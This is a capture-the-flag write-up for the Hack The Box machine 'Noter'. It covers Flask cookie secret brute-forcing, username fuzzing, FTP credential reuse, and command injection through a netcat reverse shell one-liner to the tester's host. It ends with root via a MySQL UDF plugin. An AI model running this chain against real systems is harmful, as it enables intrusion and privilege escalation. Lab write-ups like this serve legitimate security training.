Summary
This medium box was quite tricky, especially the root step, which took a while to figure out. The box focuses on exploiting a flask web application, alongside enumeration an ftp service hoste on the box. Finally to get root privileges, you have to exploit the fact that you access to mysql as root, which you can leverage into reading the root flag.
Foothold
We start out by doing an nmap port scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ nmap -sC -sV 10.129.146.253
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-25 20:21 CEST
Nmap scan report for 10.129.146.253
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.66 seconds
The system has three ports open. Port 21, 22 and 5000, which is hosting a http service. We also note that the http service is using Werkzeug, meaning that the web application hosted on the port is most likely a flask application. If we visit the application we get greeted with the following note taking application:
Noter landing page
Once we login, we notice that we have a session cookie.
Registration and cookie
We can use flask-unsign
to decode the cookie and try to find the secret it was signed with:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ flask-unsign -d -c eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.Yrc3eg.PuthvwTy0NMMCxNs8N_GneHU-9c
{'logged_in': True, 'username': 'test'}
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ flask-unsign -u -c eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.Yrc3eg.PuthvwTy0NMMCxNs8N_GneHU-9c
[*] Session decodes to: {'logged_in': True, 'username': 'test'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2048): -----BEGIN PRIVATE KEY-----gt;
[*] Attempted (11136): Z5Ke168AcyTrZwlNW3OZ1H87liw3Of
[+] Found secret key after 18560 attemptsMy_API_Key>e
'secret123'
We have now found the secret key used to sign the session cookie. This means that we can create our own cookie, potentially login in as other users on the site. To enumerate users, we can use the login functionality of the site. If we attempt to login with a invalid user name, the application tells us “Invalid crdentials”
However if we attempt to login as a existing user but with a wrong password we get told “Invalid login”
We can use wfuzz to fuzz the application for valid usernames like so:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ wfuzz -u 'http://noter.htb:5000/login' -X POST -d 'username=FUZZ&password=aaaadwhadw' -w /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt --hs "Invalid credentials"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://noter.htb:5000/login
Total requests: 8295455
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000113: 200 68 L 110 W 2032 Ch "blue"
000007198: 200 68 L 110 W 2032 Ch "Blue"
As we can see from the output of wfuzz we have found two usernames, “blue” and “Blue”. We can then sign a flask cookie using flask-unsign
once more.
1
2
3
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YrdHUg.Pp4Ss88nFXoNRA5W7jHUkzkZ-9c
Using this cookie we can go to the “blue” notes. In one of the notes are the ftp credentials blue:blue@Noter!
While scoping out the ftp service we find a pdf.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ ftp noter.htb
Connected to noter.htb.
220 (vsFTPd 3.0.3)
Name (noter.htb:bitis): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||15193|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||46037|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |***********************************************************************************************************************************************************************************************| 12569 149.00 KiB/s 00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (51.96 KiB/s)
The pdf contains the line: 4. Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)
. We can also see that the pdf was written by ftp_admin. If we try to login as ftp_admin on the ftp service while making sure to follow the default password scheme we get access:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ ftp noter.htb
Connected to noter.htb.
220 (vsFTPd 3.0.3)
Name (noter.htb:bitis): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||31864|)
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp>
Downloading the two app backups and analyzing them, we immediatly see something interesting. One of the backups contains SQL credentials:
1
2
3
4
5
6
7
8
9
10
11
app = Flask(__name__)
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
# init MYSQL
mysql = MySQL(app)
The other backup contains the following code snippet:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
In short, the code takes a .md file from a url, attempts to convert it into a pdf, and also executes the contents of the file. This means if we make a .md file containing a reverse shell we should be able to get into the machine.
I created a file named note.md containing the following rever shell oneliner: ' rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.182 4444 >/tmp/f; #
.
We then get a reverse shell when exporting the note:
1
2
3
4
5
6
7
┌──(bitis㉿workstation)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.146.253] 34658
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
Privilege escalation
After adding our public key to the authorized_keys file we can ssh in as the svc user to get a more stable shell.
Since we had credentials to the mysql database, and since mysqld was running as root, it might be interesting to try the exploit found here. I ran the following commands to get the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.014 sec)
MariaDB [mysql]> insert into foo values(load_file('/home/svc/raptor_udf2.so'));
Query OK, 1 row affected (0.004 sec)
MariaDB [mysql]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
2 rows in set (0.002 sec)
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.001 sec)
MariaDB [mysql]> select do_system('cat /root/root.txt > /tmp/flag.txt;chown svc:svc /tmp/flag.txt');
+-----------------------------------------------------------------------------+
| do_system('cat /root/root.txt > /tmp/flag.txt;chown svc:svc /tmp/flag.txt') |
+-----------------------------------------------------------------------------+
| 0 |
+-----------------------------------------------------------------------------+
1 row in set (0.005 sec)
MariaDB [mysql]> \! sh
$ cat /tmp/flag.txt
0780ed0d4344ec8598ab32e7812f629f
$
Rooted!